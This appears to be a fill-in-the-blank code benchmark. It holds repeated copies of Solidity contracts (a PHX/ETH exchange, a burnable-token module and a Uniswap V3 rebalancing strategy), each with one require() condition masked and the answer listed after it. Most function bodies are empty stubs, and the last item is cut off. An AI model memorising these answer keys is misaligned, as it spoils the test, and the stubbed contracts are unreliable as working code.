function getNumEthOfferors() public constant returns (uint _numOfferors) {
}
function getEthOfferor(uint _ndx) public constant returns (address _offeror) {
}
function getEthOfferPrice(uint _ndx) public constant returns (uint _etherPrice) {
}
function getEthOfferAmount(uint _ndx) public constant returns (uint _etherOffered) {
}
// **
// A Security Precaution -- Don't interact with contracts unless you
// Have a need to / desire to.
// Determine if the "_from" address is a contract
function _humanSender(address _from) private view returns (bool) {
}
}
| _humanSender(msg.sender) | 37,890 | _humanSender(msg.sender) |
null | pragma solidity ^0.4.21;
/*
* Basic PHX-Ethereum Exchange
*
* This contract keeps a list of buy/sell orders for PHX coins
* and acts as a market-maker matching sellers to buyers.
*
* //*** Developed By:
* _____ _ _ _ ___ _
* |_ _|__ __| |_ _ _ (_)__ __ _| | _ (_)___ ___
* | |/ -_) _| ' \| ' \| / _/ _` | | / (_-</ -_)
* |_|\___\__|_||_|_||_|_\__\__,_|_|_|_\_/__/\___|
*
* © 2018 TechnicalRise. Written in March 2018.
* All rights reserved. Do not copy, adapt, or otherwise use without permission.
* https://www.reddit.com/user/TechnicalRise/
*
* Thanks to Ogu, TocSick, and Norsefire.
*/
contract ERC20Token {
function transfer(address to, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
}
contract SimplePHXExchange {
// ScaleFactor
// It needs to be possible to make PHX cost less than 1 Wei / Rise
// And vice-versa, make ETH cost less than 1 Rise / Wei
uint public ScaleFactor = 10 ** 18;
// **** Maps for the Token-Seller Side of the Contract
// Array of offerors
address[] public tknOfferors;
mapping(address => uint256) public tknAddrNdx;
// Array between each address and their tokens offered and buy prices.
mapping(address => uint256) public tknTokensOffered;
mapping(address => uint256) public tknPricePerToken; // In qWeiPerRise (need to multiply by 10 ** 36 to get it to ETH / PHX)
// **** Maps for the Token-Buyer Side of the Contract
// Array of offerors
address[] public ethOfferors;
mapping(address => uint256) public ethAddrNdx;
// Array between each address and their tokens offered and buy prices.
mapping(address => uint256) public ethEtherOffered;
mapping(address => uint256) public ethPricePerToken; // In qRisePerWei (need to multiply by 10 ** 36 to get it to PHX / ETH)
// ****
ERC20Token public phxCoin;
function SimplePHXExchange() public {
}
function offerTkn(uint _tokensOffered, uint _tokenPrice) public {
require(_humanSender(msg.sender));
require(<FILL_ME>) // Make sure that this offeror has cancelled all previous offers
require(0 < _tokensOffered); // Make sure some number of tokens are offered
require(phxCoin.transferFrom(msg.sender, this, _tokensOffered)); // Require that transfer can be and is made
tknTokensOffered[msg.sender] = _tokensOffered;
tknPricePerToken[msg.sender] = _tokenPrice; // in qWeiPerRise
tknOfferors.push(msg.sender);
tknAddrNdx[msg.sender] = tknOfferors.length - 1;
}
function offerEth(uint _tokenPrice) public payable {
}
function cancelTknOffer() public {
}
function _cancelTknOffer(address _offeror) internal {
}
function cancelEthOffer() public {
}
function _cancelEthOffer(address _offeror) internal {
}
function buyTkn(uint _ndx) payable public {
}
function buyEth(uint _ndx) public {
}
function updateTknPrice(uint _newPrice) public {
}
function updateEthPrice(uint _newPrice) public {
}
// Getter Functions
function getNumTknOfferors() public constant returns (uint _numOfferors) {
}
function getTknOfferor(uint _ndx) public constant returns (address _offeror) {
}
function getTknOfferPrice(uint _ndx) public constant returns (uint _tokenPrice) {
}
function getTknOfferAmount(uint _ndx) public constant returns (uint _tokensOffered) {
}
function getNumEthOfferors() public constant returns (uint _numOfferors) {
}
function getEthOfferor(uint _ndx) public constant returns (address _offeror) {
}
function getEthOfferPrice(uint _ndx) public constant returns (uint _etherPrice) {
}
function getEthOfferAmount(uint _ndx) public constant returns (uint _etherOffered) {
}
// **
// A Security Precaution -- Don't interact with contracts unless you
// Have a need to / desire to.
// Determine if the "_from" address is a contract
function _humanSender(address _from) private view returns (bool) {
}
}
| tknAddrNdx[msg.sender]==0 | 37,890 | tknAddrNdx[msg.sender]==0 |
null | pragma solidity ^0.4.21;
/*
* Basic PHX-Ethereum Exchange
*
* This contract keeps a list of buy/sell orders for PHX coins
* and acts as a market-maker matching sellers to buyers.
*
* //*** Developed By:
* _____ _ _ _ ___ _
* |_ _|__ __| |_ _ _ (_)__ __ _| | _ (_)___ ___
* | |/ -_) _| ' \| ' \| / _/ _` | | / (_-</ -_)
* |_|\___\__|_||_|_||_|_\__\__,_|_|_|_\_/__/\___|
*
* © 2018 TechnicalRise. Written in March 2018.
* All rights reserved. Do not copy, adapt, or otherwise use without permission.
* https://www.reddit.com/user/TechnicalRise/
*
* Thanks to Ogu, TocSick, and Norsefire.
*/
contract ERC20Token {
function transfer(address to, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
}
contract SimplePHXExchange {
// ScaleFactor
// It needs to be possible to make PHX cost less than 1 Wei / Rise
// And vice-versa, make ETH cost less than 1 Rise / Wei
uint public ScaleFactor = 10 ** 18;
// **** Maps for the Token-Seller Side of the Contract
// Array of offerors
address[] public tknOfferors;
mapping(address => uint256) public tknAddrNdx;
// Array between each address and their tokens offered and buy prices.
mapping(address => uint256) public tknTokensOffered;
mapping(address => uint256) public tknPricePerToken; // In qWeiPerRise (need to multiply by 10 ** 36 to get it to ETH / PHX)
// **** Maps for the Token-Buyer Side of the Contract
// Array of offerors
address[] public ethOfferors;
mapping(address => uint256) public ethAddrNdx;
// Array between each address and their tokens offered and buy prices.
mapping(address => uint256) public ethEtherOffered;
mapping(address => uint256) public ethPricePerToken; // In qRisePerWei (need to multiply by 10 ** 36 to get it to PHX / ETH)
// ****
ERC20Token public phxCoin;
function SimplePHXExchange() public {
}
function offerTkn(uint _tokensOffered, uint _tokenPrice) public {
require(_humanSender(msg.sender));
require(tknAddrNdx[msg.sender] == 0); // Make sure that this offeror has cancelled all previous offers
require(0 < _tokensOffered); // Make sure some number of tokens are offered
require(<FILL_ME>) // Require that transfer can be and is made
tknTokensOffered[msg.sender] = _tokensOffered;
tknPricePerToken[msg.sender] = _tokenPrice; // in qWeiPerRise
tknOfferors.push(msg.sender);
tknAddrNdx[msg.sender] = tknOfferors.length - 1;
}
function offerEth(uint _tokenPrice) public payable {
}
function cancelTknOffer() public {
}
function _cancelTknOffer(address _offeror) internal {
}
function cancelEthOffer() public {
}
function _cancelEthOffer(address _offeror) internal {
}
function buyTkn(uint _ndx) payable public {
}
function buyEth(uint _ndx) public {
}
function updateTknPrice(uint _newPrice) public {
}
function updateEthPrice(uint _newPrice) public {
}
// Getter Functions
function getNumTknOfferors() public constant returns (uint _numOfferors) {
}
function getTknOfferor(uint _ndx) public constant returns (address _offeror) {
}
function getTknOfferPrice(uint _ndx) public constant returns (uint _tokenPrice) {
}
function getTknOfferAmount(uint _ndx) public constant returns (uint _tokensOffered) {
}
function getNumEthOfferors() public constant returns (uint _numOfferors) {
}
function getEthOfferor(uint _ndx) public constant returns (address _offeror) {
}
function getEthOfferPrice(uint _ndx) public constant returns (uint _etherPrice) {
}
function getEthOfferAmount(uint _ndx) public constant returns (uint _etherOffered) {
}
// **
// A Security Precaution -- Don't interact with contracts unless you
// Have a need to / desire to.
// Determine if the "_from" address is a contract
function _humanSender(address _from) private view returns (bool) {
}
}
| phxCoin.transferFrom(msg.sender,this,_tokensOffered) | 37,890 | phxCoin.transferFrom(msg.sender,this,_tokensOffered) |
null | pragma solidity ^0.4.21;
/*
* Basic PHX-Ethereum Exchange
*
* This contract keeps a list of buy/sell orders for PHX coins
* and acts as a market-maker matching sellers to buyers.
*
* //*** Developed By:
* _____ _ _ _ ___ _
* |_ _|__ __| |_ _ _ (_)__ __ _| | _ (_)___ ___
* | |/ -_) _| ' \| ' \| / _/ _` | | / (_-</ -_)
* |_|\___\__|_||_|_||_|_\__\__,_|_|_|_\_/__/\___|
*
* © 2018 TechnicalRise. Written in March 2018.
* All rights reserved. Do not copy, adapt, or otherwise use without permission.
* https://www.reddit.com/user/TechnicalRise/
*
* Thanks to Ogu, TocSick, and Norsefire.
*/
contract ERC20Token {
function transfer(address to, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
}
contract SimplePHXExchange {
// ScaleFactor
// It needs to be possible to make PHX cost less than 1 Wei / Rise
// And vice-versa, make ETH cost less than 1 Rise / Wei
uint public ScaleFactor = 10 ** 18;
// **** Maps for the Token-Seller Side of the Contract
// Array of offerors
address[] public tknOfferors;
mapping(address => uint256) public tknAddrNdx;
// Array between each address and their tokens offered and buy prices.
mapping(address => uint256) public tknTokensOffered;
mapping(address => uint256) public tknPricePerToken; // In qWeiPerRise (need to multiply by 10 ** 36 to get it to ETH / PHX)
// **** Maps for the Token-Buyer Side of the Contract
// Array of offerors
address[] public ethOfferors;
mapping(address => uint256) public ethAddrNdx;
// Array between each address and their tokens offered and buy prices.
mapping(address => uint256) public ethEtherOffered;
mapping(address => uint256) public ethPricePerToken; // In qRisePerWei (need to multiply by 10 ** 36 to get it to PHX / ETH)
// ****
ERC20Token public phxCoin;
function SimplePHXExchange() public {
}
function offerTkn(uint _tokensOffered, uint _tokenPrice) public {
}
function offerEth(uint _tokenPrice) public payable {
require(_humanSender(msg.sender));
require(<FILL_ME>) // Make sure that this offeror has cancelled all previous offers
require(0 < msg.value); // Make sure some amount of eth is offered
ethEtherOffered[msg.sender] = msg.value;
ethPricePerToken[msg.sender] = _tokenPrice; // in qRisesPerWei
ethOfferors.push(msg.sender);
ethAddrNdx[msg.sender] = ethOfferors.length - 1;
}
function cancelTknOffer() public {
}
function _cancelTknOffer(address _offeror) internal {
}
function cancelEthOffer() public {
}
function _cancelEthOffer(address _offeror) internal {
}
function buyTkn(uint _ndx) payable public {
}
function buyEth(uint _ndx) public {
}
function updateTknPrice(uint _newPrice) public {
}
function updateEthPrice(uint _newPrice) public {
}
// Getter Functions
function getNumTknOfferors() public constant returns (uint _numOfferors) {
}
function getTknOfferor(uint _ndx) public constant returns (address _offeror) {
}
function getTknOfferPrice(uint _ndx) public constant returns (uint _tokenPrice) {
}
function getTknOfferAmount(uint _ndx) public constant returns (uint _tokensOffered) {
}
function getNumEthOfferors() public constant returns (uint _numOfferors) {
}
function getEthOfferor(uint _ndx) public constant returns (address _offeror) {
}
function getEthOfferPrice(uint _ndx) public constant returns (uint _etherPrice) {
}
function getEthOfferAmount(uint _ndx) public constant returns (uint _etherOffered) {
}
// **
// A Security Precaution -- Don't interact with contracts unless you
// Have a need to / desire to.
// Determine if the "_from" address is a contract
function _humanSender(address _from) private view returns (bool) {
}
}
| ethAddrNdx[msg.sender]==0 | 37,890 | ethAddrNdx[msg.sender]==0 |
null | pragma solidity ^0.4.21;
/*
* Basic PHX-Ethereum Exchange
*
* This contract keeps a list of buy/sell orders for PHX coins
* and acts as a market-maker matching sellers to buyers.
*
* //*** Developed By:
* _____ _ _ _ ___ _
* |_ _|__ __| |_ _ _ (_)__ __ _| | _ (_)___ ___
* | |/ -_) _| ' \| ' \| / _/ _` | | / (_-</ -_)
* |_|\___\__|_||_|_||_|_\__\__,_|_|_|_\_/__/\___|
*
* © 2018 TechnicalRise. Written in March 2018.
* All rights reserved. Do not copy, adapt, or otherwise use without permission.
* https://www.reddit.com/user/TechnicalRise/
*
* Thanks to Ogu, TocSick, and Norsefire.
*/
contract ERC20Token {
function transfer(address to, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
}
contract SimplePHXExchange {
// ScaleFactor
// It needs to be possible to make PHX cost less than 1 Wei / Rise
// And vice-versa, make ETH cost less than 1 Rise / Wei
uint public ScaleFactor = 10 ** 18;
// **** Maps for the Token-Seller Side of the Contract
// Array of offerors
address[] public tknOfferors;
mapping(address => uint256) public tknAddrNdx;
// Array between each address and their tokens offered and buy prices.
mapping(address => uint256) public tknTokensOffered;
mapping(address => uint256) public tknPricePerToken; // In qWeiPerRise (need to multiply by 10 ** 36 to get it to ETH / PHX)
// **** Maps for the Token-Buyer Side of the Contract
// Array of offerors
address[] public ethOfferors;
mapping(address => uint256) public ethAddrNdx;
// Array between each address and their tokens offered and buy prices.
mapping(address => uint256) public ethEtherOffered;
mapping(address => uint256) public ethPricePerToken; // In qRisePerWei (need to multiply by 10 ** 36 to get it to PHX / ETH)
// ****
ERC20Token public phxCoin;
function SimplePHXExchange() public {
}
function offerTkn(uint _tokensOffered, uint _tokenPrice) public {
}
function offerEth(uint _tokenPrice) public payable {
}
function cancelTknOffer() public {
}
function _cancelTknOffer(address _offeror) internal {
}
function cancelEthOffer() public {
}
function _cancelEthOffer(address _offeror) internal {
}
function buyTkn(uint _ndx) payable public {
require(_humanSender(msg.sender));
address _offeror = tknOfferors[_ndx];
uint _purchasePrice = tknTokensOffered[_offeror] * tknPricePerToken[_offeror] / ScaleFactor; // i.e. # of Wei Required = Rises * (qWei/Rise) / 10**18
require(msg.value >= _purchasePrice);
require(<FILL_ME>) // Successful transfer of tokens to purchaser
_offeror.transfer(_purchasePrice);
_cancelTknOffer(_offeror);
}
function buyEth(uint _ndx) public {
}
function updateTknPrice(uint _newPrice) public {
}
function updateEthPrice(uint _newPrice) public {
}
// Getter Functions
function getNumTknOfferors() public constant returns (uint _numOfferors) {
}
function getTknOfferor(uint _ndx) public constant returns (address _offeror) {
}
function getTknOfferPrice(uint _ndx) public constant returns (uint _tokenPrice) {
}
function getTknOfferAmount(uint _ndx) public constant returns (uint _tokensOffered) {
}
function getNumEthOfferors() public constant returns (uint _numOfferors) {
}
function getEthOfferor(uint _ndx) public constant returns (address _offeror) {
}
function getEthOfferPrice(uint _ndx) public constant returns (uint _etherPrice) {
}
function getEthOfferAmount(uint _ndx) public constant returns (uint _etherOffered) {
}
// **
// A Security Precaution -- Don't interact with contracts unless you
// Have a need to / desire to.
// Determine if the "_from" address is a contract
function _humanSender(address _from) private view returns (bool) {
}
}
| phxCoin.transfer(msg.sender,tknTokensOffered[_offeror]) | 37,890 | phxCoin.transfer(msg.sender,tknTokensOffered[_offeror]) |
null | pragma solidity ^0.4.21;
/*
* Basic PHX-Ethereum Exchange
*
* This contract keeps a list of buy/sell orders for PHX coins
* and acts as a market-maker matching sellers to buyers.
*
* //*** Developed By:
* _____ _ _ _ ___ _
* |_ _|__ __| |_ _ _ (_)__ __ _| | _ (_)___ ___
* | |/ -_) _| ' \| ' \| / _/ _` | | / (_-</ -_)
* |_|\___\__|_||_|_||_|_\__\__,_|_|_|_\_/__/\___|
*
* © 2018 TechnicalRise. Written in March 2018.
* All rights reserved. Do not copy, adapt, or otherwise use without permission.
* https://www.reddit.com/user/TechnicalRise/
*
* Thanks to Ogu, TocSick, and Norsefire.
*/
contract ERC20Token {
function transfer(address to, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
}
contract SimplePHXExchange {
// ScaleFactor
// It needs to be possible to make PHX cost less than 1 Wei / Rise
// And vice-versa, make ETH cost less than 1 Rise / Wei
uint public ScaleFactor = 10 ** 18;
// **** Maps for the Token-Seller Side of the Contract
// Array of offerors
address[] public tknOfferors;
mapping(address => uint256) public tknAddrNdx;
// Array between each address and their tokens offered and buy prices.
mapping(address => uint256) public tknTokensOffered;
mapping(address => uint256) public tknPricePerToken; // In qWeiPerRise (need to multiply by 10 ** 36 to get it to ETH / PHX)
// **** Maps for the Token-Buyer Side of the Contract
// Array of offerors
address[] public ethOfferors;
mapping(address => uint256) public ethAddrNdx;
// Array between each address and their tokens offered and buy prices.
mapping(address => uint256) public ethEtherOffered;
mapping(address => uint256) public ethPricePerToken; // In qRisePerWei (need to multiply by 10 ** 36 to get it to PHX / ETH)
// ****
ERC20Token public phxCoin;
function SimplePHXExchange() public {
}
function offerTkn(uint _tokensOffered, uint _tokenPrice) public {
}
function offerEth(uint _tokenPrice) public payable {
}
function cancelTknOffer() public {
}
function _cancelTknOffer(address _offeror) internal {
}
function cancelEthOffer() public {
}
function _cancelEthOffer(address _offeror) internal {
}
function buyTkn(uint _ndx) payable public {
}
function buyEth(uint _ndx) public {
require(_humanSender(msg.sender));
address _offeror = ethOfferors[_ndx];
uint _purchasePrice = ethEtherOffered[_offeror] * ethPricePerToken[_offeror] / ScaleFactor; // i.e. # of Rises Required = Wei * (qTRs/Wei) / 10**18
require(<FILL_ME>) // Successful transfer of tokens to offeror
msg.sender.transfer(ethEtherOffered[_offeror]);
_cancelEthOffer(_offeror);
}
function updateTknPrice(uint _newPrice) public {
}
function updateEthPrice(uint _newPrice) public {
}
// Getter Functions
function getNumTknOfferors() public constant returns (uint _numOfferors) {
}
function getTknOfferor(uint _ndx) public constant returns (address _offeror) {
}
function getTknOfferPrice(uint _ndx) public constant returns (uint _tokenPrice) {
}
function getTknOfferAmount(uint _ndx) public constant returns (uint _tokensOffered) {
}
function getNumEthOfferors() public constant returns (uint _numOfferors) {
}
function getEthOfferor(uint _ndx) public constant returns (address _offeror) {
}
function getEthOfferPrice(uint _ndx) public constant returns (uint _etherPrice) {
}
function getEthOfferAmount(uint _ndx) public constant returns (uint _etherOffered) {
}
// **
// A Security Precaution -- Don't interact with contracts unless you
// Have a need to / desire to.
// Determine if the "_from" address is a contract
function _humanSender(address _from) private view returns (bool) {
}
}
| phxCoin.transferFrom(msg.sender,_offeror,_purchasePrice) | 37,890 | phxCoin.transferFrom(msg.sender,_offeror,_purchasePrice) |
null | pragma solidity ^0.4.21;
/*
* Basic PHX-Ethereum Exchange
*
* This contract keeps a list of buy/sell orders for PHX coins
* and acts as a market-maker matching sellers to buyers.
*
* //*** Developed By:
* _____ _ _ _ ___ _
* |_ _|__ __| |_ _ _ (_)__ __ _| | _ (_)___ ___
* | |/ -_) _| ' \| ' \| / _/ _` | | / (_-</ -_)
* |_|\___\__|_||_|_||_|_\__\__,_|_|_|_\_/__/\___|
*
* © 2018 TechnicalRise. Written in March 2018.
* All rights reserved. Do not copy, adapt, or otherwise use without permission.
* https://www.reddit.com/user/TechnicalRise/
*
* Thanks to Ogu, TocSick, and Norsefire.
*/
contract ERC20Token {
function transfer(address to, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
}
contract SimplePHXExchange {
// ScaleFactor
// It needs to be possible to make PHX cost less than 1 Wei / Rise
// And vice-versa, make ETH cost less than 1 Rise / Wei
uint public ScaleFactor = 10 ** 18;
// **** Maps for the Token-Seller Side of the Contract
// Array of offerors
address[] public tknOfferors;
mapping(address => uint256) public tknAddrNdx;
// Array between each address and their tokens offered and buy prices.
mapping(address => uint256) public tknTokensOffered;
mapping(address => uint256) public tknPricePerToken; // In qWeiPerRise (need to multiply by 10 ** 36 to get it to ETH / PHX)
// **** Maps for the Token-Buyer Side of the Contract
// Array of offerors
address[] public ethOfferors;
mapping(address => uint256) public ethAddrNdx;
// Array between each address and their tokens offered and buy prices.
mapping(address => uint256) public ethEtherOffered;
mapping(address => uint256) public ethPricePerToken; // In qRisePerWei (need to multiply by 10 ** 36 to get it to PHX / ETH)
// ****
ERC20Token public phxCoin;
function SimplePHXExchange() public {
}
function offerTkn(uint _tokensOffered, uint _tokenPrice) public {
}
function offerEth(uint _tokenPrice) public payable {
}
function cancelTknOffer() public {
}
function _cancelTknOffer(address _offeror) internal {
}
function cancelEthOffer() public {
}
function _cancelEthOffer(address _offeror) internal {
}
function buyTkn(uint _ndx) payable public {
}
function buyEth(uint _ndx) public {
}
function updateTknPrice(uint _newPrice) public {
// Make sure that this offeror has an offer out there
require(<FILL_ME>)
tknPricePerToken[msg.sender] = _newPrice;
}
function updateEthPrice(uint _newPrice) public {
}
// Getter Functions
function getNumTknOfferors() public constant returns (uint _numOfferors) {
}
function getTknOfferor(uint _ndx) public constant returns (address _offeror) {
}
function getTknOfferPrice(uint _ndx) public constant returns (uint _tokenPrice) {
}
function getTknOfferAmount(uint _ndx) public constant returns (uint _tokensOffered) {
}
function getNumEthOfferors() public constant returns (uint _numOfferors) {
}
function getEthOfferor(uint _ndx) public constant returns (address _offeror) {
}
function getEthOfferPrice(uint _ndx) public constant returns (uint _etherPrice) {
}
function getEthOfferAmount(uint _ndx) public constant returns (uint _etherOffered) {
}
// **
// A Security Precaution -- Don't interact with contracts unless you
// Have a need to / desire to.
// Determine if the "_from" address is a contract
function _humanSender(address _from) private view returns (bool) {
}
}
| tknTokensOffered[msg.sender]!=0 | 37,890 | tknTokensOffered[msg.sender]!=0 |
null | pragma solidity ^0.4.21;
/*
* Basic PHX-Ethereum Exchange
*
* This contract keeps a list of buy/sell orders for PHX coins
* and acts as a market-maker matching sellers to buyers.
*
* //*** Developed By:
* _____ _ _ _ ___ _
* |_ _|__ __| |_ _ _ (_)__ __ _| | _ (_)___ ___
* | |/ -_) _| ' \| ' \| / _/ _` | | / (_-</ -_)
* |_|\___\__|_||_|_||_|_\__\__,_|_|_|_\_/__/\___|
*
* © 2018 TechnicalRise. Written in March 2018.
* All rights reserved. Do not copy, adapt, or otherwise use without permission.
* https://www.reddit.com/user/TechnicalRise/
*
* Thanks to Ogu, TocSick, and Norsefire.
*/
contract ERC20Token {
function transfer(address to, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
}
contract SimplePHXExchange {
// ScaleFactor
// It needs to be possible to make PHX cost less than 1 Wei / Rise
// And vice-versa, make ETH cost less than 1 Rise / Wei
uint public ScaleFactor = 10 ** 18;
// **** Maps for the Token-Seller Side of the Contract
// Array of offerors
address[] public tknOfferors;
mapping(address => uint256) public tknAddrNdx;
// Array between each address and their tokens offered and buy prices.
mapping(address => uint256) public tknTokensOffered;
mapping(address => uint256) public tknPricePerToken; // In qWeiPerRise (need to multiply by 10 ** 36 to get it to ETH / PHX)
// **** Maps for the Token-Buyer Side of the Contract
// Array of offerors
address[] public ethOfferors;
mapping(address => uint256) public ethAddrNdx;
// Array between each address and their tokens offered and buy prices.
mapping(address => uint256) public ethEtherOffered;
mapping(address => uint256) public ethPricePerToken; // In qRisePerWei (need to multiply by 10 ** 36 to get it to PHX / ETH)
// ****
ERC20Token public phxCoin;
function SimplePHXExchange() public {
}
function offerTkn(uint _tokensOffered, uint _tokenPrice) public {
}
function offerEth(uint _tokenPrice) public payable {
}
function cancelTknOffer() public {
}
function _cancelTknOffer(address _offeror) internal {
}
function cancelEthOffer() public {
}
function _cancelEthOffer(address _offeror) internal {
}
function buyTkn(uint _ndx) payable public {
}
function buyEth(uint _ndx) public {
}
function updateTknPrice(uint _newPrice) public {
}
function updateEthPrice(uint _newPrice) public {
// Make sure that this offeror has an offer out there
require(<FILL_ME>)
ethPricePerToken[msg.sender] = _newPrice;
}
// Getter Functions
function getNumTknOfferors() public constant returns (uint _numOfferors) {
}
function getTknOfferor(uint _ndx) public constant returns (address _offeror) {
}
function getTknOfferPrice(uint _ndx) public constant returns (uint _tokenPrice) {
}
function getTknOfferAmount(uint _ndx) public constant returns (uint _tokensOffered) {
}
function getNumEthOfferors() public constant returns (uint _numOfferors) {
}
function getEthOfferor(uint _ndx) public constant returns (address _offeror) {
}
function getEthOfferPrice(uint _ndx) public constant returns (uint _etherPrice) {
}
function getEthOfferAmount(uint _ndx) public constant returns (uint _etherOffered) {
}
// **
// A Security Precaution -- Don't interact with contracts unless you
// Have a need to / desire to.
// Determine if the "_from" address is a contract
function _humanSender(address _from) private view returns (bool) {
}
}
| ethEtherOffered[msg.sender]!=0 | 37,890 | ethEtherOffered[msg.sender]!=0 |
"BC:210" | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/// @title Burnable
///
/// @notice This contract covers everything related
/// to the burn functions
///
contract Burnable {
/// @dev Declare a private bool {_burningEnabled}
///
bool private _burningEnabled;
/// @dev Declare a public constant of type bytes32
///
/// @return The bytes32 string of the role
///
bytes32 public constant ROLE_BURNER = keccak256("BURNER");
/// @dev Declare two events to expose when burning
/// is enabled or disabled, take the event's sender
/// as argument
///
event BurningEnabled(address indexed _from);
event BurningDisabled(address indexed _from);
/// @dev Verify if the sender can burn, if yes,
/// enable burning
///
/// Requirements:
/// {_hasRole} should be true
/// {_amount} should be superior to 0
/// {_burningEnabled} should be true
///
modifier isBurnable(
uint256 _amount,
bool _hasRole
) {
require(
_hasRole,
"BC:500"
);
require(
_amount > 0,
"BC:30"
);
_enableBurning();
require(<FILL_ME>)
_;
}
/// @dev By default, burning is disabled
///
constructor()
internal {
}
/// @notice Expose the state of {_burningEnabled}
///
/// @return The state as a bool
///
function burningEnabled()
public view returns (bool) {
}
/// @dev Enable burning by setting {_burningEnabled}
/// to true, then emit the related event
///
function _enableBurning()
internal virtual {
}
/// @dev Disable burning by setting {_burningEnabled}
/// to false, then emit the related event
///
function _disableBurning()
internal virtual {
}
}
| burningEnabled(),"BC:210" | 38,082 | burningEnabled() |
"cannot rebalance" | /**
* @title Crab Strategy
*
* @notice Rebalancing strategy for Coinsul Uni V3 Vault that maintains the two
* following range orders:
*
* 1. Base order is placed between X - B and X + B + TS.
* 2. Limit order is placed between X - L and X, or between X + TS
* and X + L + TS, depending on which token it holds more of.
*
* where:
*
* X = current tick rounded down to multiple of tick spacing
* TS = tick spacing
* B = base threshold
* L = limit threshold
*
* Note that after these two orders, the vault should have deposited
* all its tokens and should only have a few wei left.
*
* Because the limit order tries to sell whichever token the vault
* holds more of, the vault's holdings will have a tendency to get
* closer to a 1:1 balance. This enables it to continue providing
* liquidity without running out of inventory of either token, and
* achieves this without the need to swap directly on Uniswap and pay
* fees.
*/
contract CrabStrategy is IStrategyV2, Governance {
using SafeMath for uint256;
struct vaultData {
IUniswapV3Pool pool;
CoinsulUniV3Vault vault;
int24 baseThreshold;
int24 limitThreshold;
uint256 period;
int24 minTickMove;
int24 maxTwapDeviation;
uint32 twapDuration;
uint256 lastTimestamp;
int24 tickSpacing;
int24 lastTick;
bool isInitialized;
}
mapping(address => vaultData) public vaultStrategyData;
address public keeper;
/**
* @param _keeper Account that can call `rebalance()`
*/
constructor(address _keeper) {
}
/**
* @param _vaultLoc Underlying Coinsul Uni V3 Vault
* @param _baseThreshold Used to determine base order range
* @param _limitThreshold Used to determine limit order range
* @param _period Can only rebalance if this length of time has passed
* @param _minTickMove Can only rebalance if price has moved at least this much
* @param _maxTwapDeviation Max deviation from TWAP during rebalance
* @param _twapDuration TWAP duration in seconds for deviation check
*/
function registerVault(
address _vaultLoc,
int24 _baseThreshold,
int24 _limitThreshold,
uint256 _period,
int24 _minTickMove,
int24 _maxTwapDeviation,
uint32 _twapDuration
) public onlyGovernance {
}
/**
* @notice Calculates new ranges for orders and calls `vault.rebalance()`
* so that vault can update its positions. Can only be called by keeper.
*/
function rebalance(address _vault) external override {
require(<FILL_ME>)
vaultData storage _data = vaultStrategyData[_vault];
int24 tick = getTick(_data.pool);
int24 tickFloor = _floor(tick, _data.tickSpacing);
int24 tickCeil = tickFloor + _data.tickSpacing;
vaultStrategyData[_vault].vault.rebalance(
0,
0,
tickFloor - _data.baseThreshold,
tickCeil + _data.baseThreshold,
tickFloor - _data.limitThreshold,
tickFloor,
tickCeil,
tickCeil + _data.limitThreshold
);
_data.lastTimestamp = block.timestamp;
_data.lastTick = tick;
}
function shouldRebalance(address _vault) public view override returns (bool) {
}
function getTick(IUniswapV3Pool _pool) public view returns (int24) {
}
/// @dev Fetches time-weighted average price in ticks from Uniswap pool.
function getTwap(IUniswapV3Pool pool, uint32 _twapDuration) public view returns (int24) {
}
/// @dev Rounds tick down towards negative infinity so that it's a multiple
/// of `tickSpacing`.
function _floor(int24 tick, int24 tickSpacing) internal view returns (int24) {
}
function _checkThreshold(int24 threshold, int24 _tickSpacing) internal pure {
}
function setKeeper(address _keeper) external onlyGovernance {
}
function setBaseThreshold(address _vault, int24 _baseThreshold)
external
onlyVaultGovernance(_vault)
{
}
function setLimitThreshold(address _vault, int24 _limitThreshold)
external
onlyVaultGovernance(_vault)
{
}
function setPeriod(address _vault, uint256 _period) external onlyVaultGovernance(_vault) {
}
function setMinTickMove(address _vault, int24 _minTickMove)
external
onlyVaultGovernance(_vault)
{
}
function setMaxTwapDeviation(address _vault, int24 _maxTwapDeviation)
external
onlyVaultGovernance(_vault)
{
}
function setTwapDuration(address _vault, uint32 _twapDuration)
external
onlyVaultGovernance(_vault)
{
}
/// @dev uses same governance as underlying vault.
modifier onlyVaultGovernance(address _vault) {
}
}
| shouldRebalance(_vault),"cannot rebalance" | 38,151 | shouldRebalance(_vault) |
"vault not registered" | /**
* @title Crab Strategy
*
* @notice Rebalancing strategy for Coinsul Uni V3 Vault that maintains the two
* following range orders:
*
* 1. Base order is placed between X - B and X + B + TS.
* 2. Limit order is placed between X - L and X, or between X + TS
* and X + L + TS, depending on which token it holds more of.
*
* where:
*
* X = current tick rounded down to multiple of tick spacing
* TS = tick spacing
* B = base threshold
* L = limit threshold
*
* Note that after these two orders, the vault should have deposited
* all its tokens and should only have a few wei left.
*
* Because the limit order tries to sell whichever token the vault
* holds more of, the vault's holdings will have a tendency to get
* closer to a 1:1 balance. This enables it to continue providing
* liquidity without running out of inventory of either token, and
* achieves this without the need to swap directly on Uniswap and pay
* fees.
*/
contract CrabStrategy is IStrategyV2, Governance {
using SafeMath for uint256;
struct vaultData {
IUniswapV3Pool pool;
CoinsulUniV3Vault vault;
int24 baseThreshold;
int24 limitThreshold;
uint256 period;
int24 minTickMove;
int24 maxTwapDeviation;
uint32 twapDuration;
uint256 lastTimestamp;
int24 tickSpacing;
int24 lastTick;
bool isInitialized;
}
mapping(address => vaultData) public vaultStrategyData;
address public keeper;
/**
* @param _keeper Account that can call `rebalance()`
*/
constructor(address _keeper) {
}
/**
* @param _vaultLoc Underlying Coinsul Uni V3 Vault
* @param _baseThreshold Used to determine base order range
* @param _limitThreshold Used to determine limit order range
* @param _period Can only rebalance if this length of time has passed
* @param _minTickMove Can only rebalance if price has moved at least this much
* @param _maxTwapDeviation Max deviation from TWAP during rebalance
* @param _twapDuration TWAP duration in seconds for deviation check
*/
function registerVault(
address _vaultLoc,
